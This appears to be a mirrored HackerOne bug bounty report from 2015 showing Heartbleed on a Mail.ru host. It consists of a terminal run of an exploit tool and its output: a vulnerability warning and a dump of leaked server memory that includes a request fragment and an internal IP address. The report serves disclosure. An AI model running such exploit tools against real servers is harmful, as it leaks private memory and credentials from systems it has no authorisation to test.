Lucene search

K
hackeroneIsoxH1:49139
HistoryFeb 25, 2015 - 7:49 a.m.

Mail.ru: scfbp.tng.mail.ru: Heartbleed

2015-02-2507:49:11
isox
hackerone.com
$150
93

0.975 High

EPSS

Percentile

100.0%

MacBook-Pro-Kirill:Pentest isox$ python heartbleed.py scfbp.tng.mail.ru

defribulator v1.16
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

##################################################################
Connecting to: scfbp.tng.mail.ru:443, 1 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0

WARNING: scfbp.tng.mail.ru:443 returned more data than it should - server is vulnerable!
Please wait… connection attempt 1 of 1
##################################################################

.@…SC[…r…+…H…9…
…w.3…f…
…!.9.8…5…
…3.2…E.D…/…A…I…

…#…Y.[.uu.n.~J…4.F.P.<.5}b.n
…3t…http/1.1.spdy/3.1.h2-14uP…
…WXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: 195.211.20.229
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1